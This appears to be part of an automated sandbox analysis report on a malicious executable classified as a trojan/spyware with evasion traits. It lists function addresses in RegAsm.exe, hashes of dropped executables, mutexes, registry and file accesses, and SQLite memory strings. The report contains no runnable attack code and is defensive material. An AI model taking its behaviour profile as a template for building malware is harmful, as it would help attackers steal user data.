Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1477A0	3_2_6C1477A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C126FF0	3_2_6C126FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FDFE0	3_2_6C0FDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C107810	3_2_6C107810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C13B820	3_2_6C13B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C144820	3_2_6C144820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C118850	3_2_6C118850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11D850	3_2_6C11D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C13F070	3_2_6C13F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1260A0	3_2_6C1260A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1650C7	3_2_6C1650C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11C0E0	3_2_6C11C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1358E0	3_2_6C1358E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C11A940	3_2_6C11A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14B970	3_2_6C14B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16B170	3_2_6C16B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10D960	3_2_6C10D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C135190	3_2_6C135190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C152990	3_2_6C152990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C12D9B0	3_2_6C12D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FC9A0	3_2_6C0FC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C139A60	3_2_6C139A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16BA90	3_2_6C16BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10CAB0	3_2_6C10CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C162AB0	3_2_6C162AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F22A0	3_2_6C0F22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C124AA0	3_2_6C124AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C138AC0	3_2_6C138AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C111AF0	3_2_6C111AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C13E2F0	3_2_6C13E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C13D320	3_2_6C13D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F5340	3_2_6C0F5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10C370	3_2_6C10C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FF380	3_2_6C0FF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1653C8	3_2_6C1653C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C27AC30	3_2_6C27AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C266C00	3_2_6C266C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AAC60	3_2_6C1AAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1FECD0	3_2_6C1FECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C19ECC0	3_2_6C19ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C328D20	3_2_6C328D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C26ED70	3_2_6C26ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2CAD50	3_2_6C2CAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A4DB0	3_2_6C1A4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C236D90	3_2_6C236D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32CDC0	3_2_6C32CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C280E20	3_2_6C280E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C23EE70	3_2_6C23EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C226E90	3_2_6C226E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AAEC0	3_2_6C1AAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C240EC0	3_2_6C240EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A6F10	3_2_6C1A6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2E0F20	3_2_6C2E0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C262F70	3_2_6C262F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C20EF40	3_2_6C20EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2E8FB0	3_2_6C2E8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AEFB0	3_2_6C1AEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C27EFF0	3_2_6C27EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A0FE0	3_2_6C1A0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C22A820	3_2_6C22A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1F0820	3_2_6C1F0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C274840	3_2_6C274840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2A68E0	3_2_6C2A68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1F6900	3_2_6C1F6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1D8960	3_2_6C1D8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2309A0	3_2_6C2309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C25A9A0	3_2_6C25A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2609B0	3_2_6C2609B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2BC9E0	3_2_6C2BC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1D49F0	3_2_6C1D49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C258A30	3_2_6C258A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C24EA00	3_2_6C24EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C21CA70	3_2_6C21CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C21EA80	3_2_6C21EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C240BA0	3_2_6C240BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2A6BE0	3_2_6C2A6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C204420	3_2_6C204420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C22A430	3_2_6C22A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B8460	3_2_6C1B8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2CA480	3_2_6C2CA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1E64D0	3_2_6C1E64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C23A4D0	3_2_6C23A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C202560	3_2_6C202560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C240570	3_2_6C240570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040F242	9_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00410A14	9_2_00410A14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040FEA0	9_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00434060	9_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401000	9_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040B010	9_2_0040B010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042F038	9_2_0042F038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00440118	9_2_00440118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00409130	9_2_00409130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00434136	9_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043F1E0	9_2_0043F1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004492C0	9_2_004492C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401297	9_2_00401297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00405320	9_2_00405320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040A3F0	9_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004073B0	9_2_004073B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00449410	9_2_00449410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040B4B0	9_2_0040B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00449580	9_2_00449580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00411600	9_2_00411600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042D6F0	9_2_0042D6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00449690	9_2_00449690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00448740	9_2_00448740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00403710	9_2_00403710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004407E0	9_2_004407E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00449780	9_2_00449780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041E85A	9_2_0041E85A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042887B	9_2_0042887B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00430810	9_2_00430810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00439880	9_2_00439880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041E900	9_2_0041E900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00449A40	9_2_00449A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00409AC4	9_2_00409AC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00444B60	9_2_00444B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042DB00	9_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00439B00	9_2_00439B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041FB39	9_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042DBD5	9_2_0042DBD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00448C40	9_2_00448C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00428D00	9_2_00428D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00428D1C	9_2_00428D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0044AD20	9_2_0044AD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00429DC9	9_2_00429DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407DB0	9_2_00407DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00437E70	9_2_00437E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042CEC0	9_2_0042CEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00429EE0	9_2_00429EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00410E90	9_2_00410E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040BFC0	9_2_0040BFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229C4FB2	14_2_229C4FB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229A5CCF	14_2_229A5CCF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2297A2C0	14_2_2297A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2297F8D0	14_2_2297F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229961E0	14_2_229961E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2299D100	14_2_2299D100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229A3920	14_2_229A3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229A16D0	14_2_229A16D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22979CC0	14_2_22979CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22979430	14_2_22979430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2299FD50	14_2_2299FD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22824CF0	14_2_22824CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2281EA80	14_2_2281EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_228266C0	14_2_228266C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22829000	14_2_22829000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22847810	14_2_22847810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2281F160	14_2_2281F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22A09390	14_2_22A09390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22A09A20	14_2_22A09A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229EAEBE	14_2_229EAEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22A09F80	14_2_22A09F80

Source: Joe Sandbox View	Dropped File: C:\ProgramData\DGHIECGCBK.exe DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
Source: Joe Sandbox View	Dropped File: C:\ProgramData\IDGDAAKFHI.exe F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
Source: Joe Sandbox View	Dropped File: C:\ProgramData\KECFIDGCBF.exe 2B8BCD9D7D072FEB114E0436DC10AA80FDA52CDD46A4948EA1AE984F74898375

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C32DAE0 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C1394D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C1C3620 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3209D0 appears 133 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CB10 appears 57 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C12CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041DBA0 appears 150 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1673544105.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1668876774.00000000004D6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe\ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: IDGDAAKFHI.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fa2b049020f_ldnf[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DGHIECGCBK.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fa2afc5abea_vasd[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KECFIDGCBF.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fa2ae906657_snd[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@48/58@21/8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C157030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C157030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Users\userBAEBGCFIEH.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663123675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
